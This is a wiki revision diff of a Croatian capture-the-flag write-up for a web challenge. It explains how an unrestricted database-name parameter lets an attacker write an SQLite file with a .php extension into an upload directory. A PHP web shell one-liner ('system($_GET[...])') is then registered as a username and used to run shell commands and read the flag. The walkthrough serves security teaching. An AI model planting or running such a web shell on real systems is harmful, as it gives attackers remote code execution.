baze_i_datoteke
Differences
This shows you the differences between two versions of the page.
| Both sides previous revisionPrevious revisionNext revision | Previous revision | ||
| baze_i_datoteke [2025/02/10 15:40] – kresimir | baze_i_datoteke [2025/12/01 11:40] (current) – external edit 127.0.0.1 | ||
|---|---|---|---|
| Line 5: | Line 5: | ||
| < | < | ||
| - | Web programerka Sara je naučila koliko je bitno ograničiti tipove datoteka koje je moguće učitati (eng. upload) u web aplikaciju. Također je naučila koliko je bitno koristiti parametrizirane SQL upite. Moli te da testiraš postoji li ipak neka napredna ranjivost koju bi netko mogao koristiti da kompromitira web aplikaciju. | + | Web programerka Sara je naučila koliko je bitno ograničiti tipove datoteka koje je moguće učitati (eng. upload) |
| + | u web aplikaciju. Također je naučila koliko je bitno koristiti parametrizirane SQL upite. Moli te da provjeriš | ||
| + | postoji li ipak neka napredna ranjivost koju bi netko mogao koristiti da kompromitira web aplikaciju. | ||
| Napomena: Zadatak se periodički resetira (svakih sat vremena). Ako je zadatak nedostupan pričekajte 1-2 minute. | Napomena: Zadatak se periodički resetira (svakih sat vremena). Ako je zadatak nedostupan pričekajte 1-2 minute. | ||
| http:// | http:// | ||
| Line 14: | Line 16: | ||
| Pristup na stranicu ponuđene su opcije Login i Register, prikazano na slici 1. | Pristup na stranicu ponuđene su opcije Login i Register, prikazano na slici 1. | ||
| - | {{bazeidatoteke: | + | {{ bazeidatoteke: |
| - | Pregledom izvornog koda od register.php, | + | Pregledom izvornog koda u datoteci "register.php", može se vidjeti da je jedini uvjet za registraciju da su korisničko ime i lozinka duži od 10 znakova, prikazano na slici 2. (uvjet unutar drugog IF grananja). |
| + | |||
| + | |||
| + | {{ bazeidatoteke: | ||
| - | {{bazeidatoteke: | ||
| Nakon prijavljivanja na stranicu, dostupna je opcija uploada profilne slike, što je prikazano na slici 3. | Nakon prijavljivanja na stranicu, dostupna je opcija uploada profilne slike, što je prikazano na slici 3. | ||
| - | {{bazeidatoteke: | + | {{ bazeidatoteke: |
| - | Pregledom koda koji implementira funkcionalnost uploada slike, prikazano na slici 4, može se uočiti da se uploadana slika uvijek spremi pod nazivom „profile.png“. Također može se uočiti da se direktorij u koji se pohranjuje slika generira iz sha256 hasha korisničkog imena prijavljenog korisnika. Ovaj se direktorij nalazi u direktoriju „uploads“, | + | Pregledom koda koji implementira funkcionalnost uploada slike, prikazano na slici 4., može se uočiti da se uploadana slika uvijek spremi pod nazivom „profile.png“. Također može se uočiti da se direktorij u koji se pohranjuje slika generira iz sha256 hasha korisničkog imena prijavljenog korisnika. Ovaj se direktorij nalazi u direktoriju „uploads“, |
| < | < | ||
| / | / | ||
| Line 30: | Line 34: | ||
| - | {{bazeidatoteke: | + | {{ bazeidatoteke: |
| - | Kako bi se provjerila ova funkcionalnost može se uploadati slika i dohvatiti link slike korištenjem | + | Kako bi se provjerila ova funkcionalnost može se uploadati slika i dohvatiti |
| - | {{bazeidatoteke: | + | {{ bazeidatoteke: |
| Adresa slike bi trebala izgledati otprilike ovako: | Adresa slike bi trebala izgledati otprilike ovako: | ||
| Line 42: | Line 46: | ||
| </ | </ | ||
| - | Što odgovara prethodno spomenutom formatu | + | Što odgovara prethodno spomenutom formatu: |
| < | < | ||
| Line 49: | Line 53: | ||
| Sada nakon inicijalne analize koda i vidljivih funkcionalnosti u sučelju, potrebno je napraviti detaljniju analizu koda. | Sada nakon inicijalne analize koda i vidljivih funkcionalnosti u sučelju, potrebno je napraviti detaljniju analizu koda. | ||
| - | Nakon analize svih datoteka, može se primijetiti da potencijalno ranjiv kod se nalazi u fileu database.php (slika 6.). | + | Nakon analize svih datoteka, može se primijetiti da se potencijalno ranjiv kod nalazi u datoteci "database.php" |
| - | {{bazeidatoteke: | + | {{ bazeidatoteke: |
| Dio koda ispod komentara | Dio koda ispod komentara | ||
| Line 62: | Line 66: | ||
| Pošto nema ograničenja na naziv datoteke, ne samo da se datoteka može definirati s proizvoljnom ekstenzijom, | Pošto nema ograničenja na naziv datoteke, ne samo da se datoteka može definirati s proizvoljnom ekstenzijom, | ||
| - | Sad bi sljedeći | + | Sad bi napadačev |
| - | {{bazeidatoteke: | + | {{ bazeidatoteke: |
| - | Root projekta se nalazi u „/ | + | Root direktorij |
| - | Uzevši ova ograničenja u obzir sljedeći logičan korak bi bio pokušati stvoriti datoteke na putanji /uploads/.. , ali niti ovo neće raditi. U Dockerfileu linija 11 naznačuje | + | Uzevši ova ograničenja u obzir, sljedeći logičan korak napadača |
| - | {{bazeidatoteke: | + | {{ bazeidatoteke: |
| - | U ove tri linije koda je napisano da pri dohvaćanju svih datoteka koje završavaju | + | U ove tri linije koda je napisano da pokušaj |
| - | Ovo znači da će na primjer | + | Ovo znači da će na primjer |
| ‚‚ | ‚‚ | ||
| / | / | ||
| ‚‚ | ‚‚ | ||
| - | Biti označena | + | ovim pravilom |
| ‚‚ | ‚‚ | ||
| / | / | ||
| ‚‚ | ‚‚ | ||
| - | Bila dozvoljena, pravilo se ne bi primjenjivalo na nju. | + | bio dozvoljen, tj. pravilo se ne bi primjenjivalo na nju. |
| - | Uzevši i ovo ograničenje u obzir, ideja može biti stvoriti datoteku u nekom poddirektoriju direktorija „/ | + | Uzevši i ovo ograničenje u obzir, |
| - | Način kako bi se zapisala baza podataka s proizvoljnim imenom na lokaciju u sustavu u kojoj nije originalno | + | Način kako bi se zapisala baza podataka s proizvoljnim imenom na lokaciju u sustavu u kojoj nije izvorno |
| - | Srećom, jedna takva putanja je već poznata od ranije, to je putanja u kojoj se uploada postavljena profilna slika, koja je u formatu: | + | Srećom |
| < | < | ||
| / | / | ||
| Line 95: | Line 99: | ||
| Ova putanja zadovoljava sva prethodno navedena ograničenja. | Ova putanja zadovoljava sva prethodno navedena ograničenja. | ||
| - | Znači | + | Znači |
| < | < | ||
| / | / | ||
| </ | </ | ||
| - | Pošto | + | jer je poznato da ova putanja postoji, jer je u njoj pohranjena slika "profile.png". |
| - | Sada je poznata tehnika kako stvoriti datoteku s proizvoljnim imenom i ekstenzijom, | + | Sada je poznata tehnika kako stvoriti datoteku s proizvoljnim imenom i ekstenzijom, |
| - | Ako je ekstenzija datoteke „.php“, PHP kod unutar datoteke će biti procesuiran i obrađen pri postupku | + | Ako je ekstenzija datoteke „.php“, PHP kod unutar datoteke će biti obrađen |
| Ostalo je još samo pitanje kako zapisati PHP kod unutar SQLite datoteke s proizvoljnim imenom, na takav način da se PHP kod uspješno izvrši pri dohvaćanju. Unutar baze podataka s proizvoljnim imenom nad kojim imamo kontrolu se zapisuje korisničko ime i password stvorenog korisnika. Ovaj kod se može vidjeti unutar datoteke register.php (slika 9.) | Ostalo je još samo pitanje kako zapisati PHP kod unutar SQLite datoteke s proizvoljnim imenom, na takav način da se PHP kod uspješno izvrši pri dohvaćanju. Unutar baze podataka s proizvoljnim imenom nad kojim imamo kontrolu se zapisuje korisničko ime i password stvorenog korisnika. Ovaj kod se može vidjeti unutar datoteke register.php (slika 9.) | ||
| - | {{bazeidatoteke: | + | {{ bazeidatoteke: |
| Na username nema ograničenja osim da mora biti duže od 10 znakova i taj username će biti zapisan unutar baze podataka nad čijim imenom i lokacijom imamo kontrolu. (slika 9., slika 10. označeno crveno) | Na username nema ograničenja osim da mora biti duže od 10 znakova i taj username će biti zapisan unutar baze podataka nad čijim imenom i lokacijom imamo kontrolu. (slika 9., slika 10. označeno crveno) | ||
| Line 112: | Line 116: | ||
| - | {{bazeidatoteke: | + | {{ bazeidatoteke: |
| - | Ovo znači da se može stvoriti baza podataka s „.php“ ekstenzijom i s PHP kodom unutar podataka, koji bi bio u plaintext formatu, pošto | + | Ovo znači da se može stvoriti baza podataka s „.php“ ekstenzijom i s PHP kodom unutar podataka, koji bi bio u plaintext formatu, pošto |
| ‚‚ | ‚‚ | ||
| <?php system($_GET[' | <?php system($_GET[' | ||
| Line 125: | Line 129: | ||
| ./ | ./ | ||
| ‚‚ | ‚‚ | ||
| - | A korisničko ime koje bi se unijelo pri registraciji bi bilo | + | A korisničko ime koje bi se unijelo pri registraciji bi bilo: |
| ‚‚ | ‚‚ | ||
| <?php system($_GET[' | <?php system($_GET[' | ||
| ‚‚ | ‚‚ | ||
| - | Nakon ove prijave, PHP shell bi se mogao koristiti na prethodno definiranoj putanji, a s „cmd“ GET parametrom se mogu definirati shell naredbe. Npr pokretanje „ls“ | + | Nakon ove prijave, PHP shell bi se mogao koristiti na prethodno definiranoj putanji, a s „cmd“ GET parametrom se mogu definirati shell naredbe. Npr. pokretanje |
| ‚‚ | ‚‚ | ||
| ./ | ./ | ||
| Line 136: | Line 140: | ||
| - | Preporučen alat za ostvarivanje ovog postupka je burpsuite. Nakon što je prvi korisnik normalno stvoren i zabilježena je putanja njegove profilne slike kako bi se koristila u daljnjem postupku, može se upaliti | + | Preporučen alat za ostvarivanje ovog postupka je burpsuite. Nakon što je prvi korisnik normalno stvoren i zabilježena je putanja njegove profilne slike kako bi se koristila u daljnjem postupku, može se pokrenuti |
| - | Nakon unosa PHP koda u polje korisničkog imena na registraciji i nevažnog passworda, kao što je prikazano na slici 11. | + | Nakon unosa PHP koda u polje korisničkog imena na registraciji i proizvoljnog/ |
| - | {{bazeidatoteke: | + | {{ bazeidatoteke: |
| - | Zahtjev se šalje pritiskom na gumb register, dok je istovremeno burp proxy upaljen, kako bi POST request | + | Zahtjev se šalje pritiskom na gumb " |
| - | {{bazeidatoteke: | + | {{ bazeidatoteke: |
| - | Kada je db parametar odgovarajuće definiran | + | Kada je db parametar odgovarajuće definiran, na prethodno |
| - | {{bazeidatoteke: | + | {{ bazeidatoteke: |
| - | Nakon ovoga, web shellu | + | Nakon ovoga, |
| U Dockerfileu se vidi lokacija flaga, tako da je za rješenje zadatka samo potrebno dohvatiti taj flag pristupom spomenutoj putanji s odgovarajućom shell naredbom zadanom u GET parametru: | U Dockerfileu se vidi lokacija flaga, tako da je za rješenje zadatka samo potrebno dohvatiti taj flag pristupom spomenutoj putanji s odgovarajućom shell naredbom zadanom u GET parametru: | ||
| Line 167: | Line 171: | ||
| - | {{bazeidatoteke: | + | {{ bazeidatoteke: |
baze_i_datoteke.1739202017.txt.gz · Last modified: 2025/12/01 11:40 (external edit)